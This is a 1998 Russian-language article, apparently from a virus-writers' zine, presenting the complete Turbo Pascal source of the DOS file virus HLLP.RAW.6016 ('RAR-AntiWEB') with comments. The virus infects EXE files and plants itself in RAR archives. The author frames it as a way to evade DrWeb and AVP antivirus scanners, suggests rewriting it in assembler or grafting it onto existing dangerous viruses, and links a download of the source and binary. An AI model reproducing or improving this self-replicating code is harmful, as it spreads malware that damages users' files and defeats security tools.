D V L # 2
HLLP.RAW.6016
(c) by Duke/SMF
В качестве вступления позволю себе процитировать одно письмецо из конференции
SU.VIRUS:
08 Oct 98 20:12, Evgeniy Zemskov написал Igor Daniloff следyющее:
EZ> Почемy DrWeb не тестит аpхивы RAR 2.00 и выше???
Чем попyстy стонать, yмоляя Данилова, чтобы он сделал Web совместимым
с RAR, лyчше попpосить Roshal'а, чтобы он сделал RAR совместимым с Web.
Толкy больше бyдет, ей богy! ;-)
Демонстрационный вирус RAR-AntiWEB
Имя вируса : [RAW-1] aka [RAR-AntiWEB] aka HLLP.RAW.6016
Автор : Duke/SMF
Дата создания : 27.09.98
Длина : 6016 байт
Тип : HLLP-virii
Характеристика : Файловый, нерезидентный, неполиморфный вирус :)
без деструктивных эффектов.
Поражает файлы в текущем каталоге - записывается в EXE-файлы
и RAR-архивы (для этого требуется RAR.EXE в каталогах PATH).
За один запуск поражает один EXE-файл и все архивы.
Язык : Turbo Pascal 7.0+
Compile : TPC.EXE raw.pas
На примере этого вируса демонстрируется возможность создания вирусов,
имеющих некоторый "иммунитет" к антивирусам "DrWeb for DOS" и "AVP for DOS".
Вирус учитывает неспособность данных антивирусов тестировать все RAR-архивы
и использует это для своего размножения.
Этот вирус чрезвычайно примитивен, но если то же самое написать на
ассемблере, усовершенствовать и переделать, то это может открыть дорогу
новой группе вирусов, против которых антивирусы "DrWeb for DOS" и "AVP for
DOS" будут практически бессильны. Подобным алгоритмом могут быть
модифицированы уже существующие очень опасные вирусы; он может быть добавлен
в AWME для противодействия программе "DrWeb".
===== Cut here =====
{$M 5000, 0, 50000}
(*{$A-,B-,D-,E+,F-,G-,I-,L-,N-,S-,V-,X+} I S *)
uses dos;
const len=6016; {длина вируса}
met=$92f; {место метки}
var vir_mas:array[1..len-2] of char; {тело вируса}
fil_mas:array[1..len-2] of char; {тело жертвы}
name_file:string; {имя запущенного файла}
t : string;
index:string; {идентификатор вируса}
coman:string; {строка под GetEnv('COMSPEC')}
attr : word; {здесь хранятся атрибуты заражаемого
файла в момент заражения}
{---------------------------------------------------------------------------}
procedure attr_get(q:string); {Сохраняем атрибуты файла}
var w:file;
begin
assign(w,q);getfattr(w,attr);setfattr(w,$20);
end;
{---------------------------------------------------------------------------}
procedure attr_set(q:string); {Восстанавливаем атрибуты файла}
var w:file;
begin
assign(w,q);setfattr(w,attr);
end;
{---------------------------------------------------------------------------}
procedure infect_rar(name_arhiv:string); {Процедура заражения RAR-архивов}
begin
t:=name_arhiv;
attr_get(name_arhiv);
(* Запускаем архиватор RAR с параметрами:
rar a -tk -y -c- -o+ arhive.rar file.exe >nul
Ключи программы RAR, которые требуются вирусу :
-tk - не изменять время создания архива
-y - ответить "Да" на все вопросы
-c- - не выводить комментарии на экран
-o+ - перезаписывать файлы
-ep - не записывать полные пути в архив
a - добавить файл к архиву
Поскольку поставить метку о том, что данный архив уже заражен, довольно
проблематично, то приходится перезаписывать файлы в архиве при повторном
заражении (ключ -o+). *)
exec(coman,'/c RAR a -tk -y -c- -o+ -ep '+name_arhiv+' '+name_file+'>nul');
attr_set(name_arhiv);
end;
{--------------------------------------------------------------------------}
procedure search_rar;
var nam:searchrec;
label lb2;
begin
(* Вирус ищет в текущем каталоге по маске RAR-архивы. При их обнаружении
вирус надеется на наличие архиватора RAR в одном из каталогов переменной
PATH и пытается записать копию вируса в этот архив.
Процесс заражения EXE-файлов и процесс заражения RAR-файлов расположены
в разных местах программы, чтобы менее была заметна задержка во времени
работы зараженного файла. *)
findfirst('*.rar',$21,nam);
if doserror<>0 then goto lb2 else infect_rar(nam.name);
while doserror=0 do
begin
findnext(nam);
if t=nam.name then goto lb2 else infect_rar(nam.name);
end;
lb2:
end;
{---------------------------------------------------------------------------}
procedure infect_exe(im:string); {Заражение EXE-файлов}
var vir,m : file; {вирус и жертва соответственно}
begin
filemode:=2; {разрешаем чтение/запись в файл}
attr_get(im); {сохранили атрибуты жертвы}
assign(vir,name_file);reset(vir,1); {открыли исходный файл}
seek(vir,2);blockread(vir,vir_mas,len-2);{считали из него вирус}
close(vir); {закрыли файл с вирусом}
assign(m,im);reset(m,1); {открыли файл-жертву}
seek(m,2);blockread(m,fil_mas,len-2); {считали тело файла}
seek(m,filesize(m));
blockwrite(m,fil_mas,len-2); {сохранили тело файла}
seek(m,2);blockwrite(m,vir_mas,len-2); {записали вирус в файл-жертву}
close(m); {закрыли жертву}
attr_set(im); {установили атрибуты жертвы}
(* Процесс заражения завершен *)
end;
{---------------------------------------------------------------------------}
procedure search_exe; {Поиск EXE-файлов}
var g:file of char; {файл-кандидат}
a,b,c:char; {для чтения метки}
n:searchrec;
label lb1;
begin
(* Ищем в текущем каталоге EXE-файлы по маске,
проверяем их на предмет заражения *)
findfirst('*.exe',$21,n);
(* Проверка на зараженность: *)
lb1:
filemode:=0; {запрещаем запись в файл}
assign(g,n.name);reset(g);
seek(g,met);
read(g,a,b,c);{read(g,b);read(g,c);}
close(g);
if (a='R') and (b='A') and (c='W') then
begin
findnext(n);
if doserror<>0 then exit else goto lb1;
end
else infect_exe(n.name); {Подходящий файл найден - заражаем!}
end;
{---------------------------------------------------------------------------}
procedure zapusk;
var ish : file;
st : string;
i : integer;
begin
(* Проверяем запущенный файл. Если его размер <=len, то был запущен
чистый вирус и мы переходим к поражению архивов. Иначе был запущен
пораженный файл и нам надо передать управление настоящей программе. *)
filemode:=0; {запрещаем запись в файл}
assign(ish,name_file);reset(ish,1);
if filesize(ish)<=len then exit;
close(ish);
(* На время "лечим" запущенный файл: *)
attr_get(name_file); {сохранили атрибуты}
filemode:=2; {разрешаем чтение/запись в файл}
reset(ish,1); {открыли запущенный файл}
seek(ish,2);blockread(ish,vir_mas,len-2);{считали из него вирус}
seek(ish,filesize(ish)-(len-2));
blockread(ish,fil_mas,len-2); {считали тело файла}
seek(ish,filesize(ish)-(len-2));
truncate(ish); {обрезали файл до нормы}
seek(ish,2);
blockwrite(ish,fil_mas,len-2); {записали на место тело файла}
close(ish); {закрыли запущенный файл}
(* Запускаем отредактированный файл: *)
st:=' ';
for i:=1 to paramcount do st:=st+paramstr(i)+' ';
exec(coman,'/c '+name_file+st);
(* Снова заражаем запущенный файл: *)
reset(ish,1); {открыли запущенный файл}
seek(ish,filesize(ish));
blockwrite(ish,fil_mas,len-2); {записали в конец тело файла}
seek(ish,2);
blockwrite(ish,vir_mas,len-2); {записали в начало вирус}
close(ish); {закрыли запущенный файл}
attr_set(name_file); {вернули первоначальные атрибуты}
end;
{---------------------------------------------------------------------------}
begin
index:='[RAW-1, Duke/SMF]'; {идентификатор вируса}
name_file:=paramstr(0); {файл,из которого запущен вирус}
coman:=GetEnv('COMSPEC'); {путь к ядру ОС}
search_rar; {заражаем RAR-архивы}
zapusk; {запускаем пораженную программу}
search_exe; {заражаем EXE-файлы}
end.
===== Cut here =====
 |
Здесь вы можете скачать: |
Вирус HLLP.RAW.6016 - исходник и откомпилированный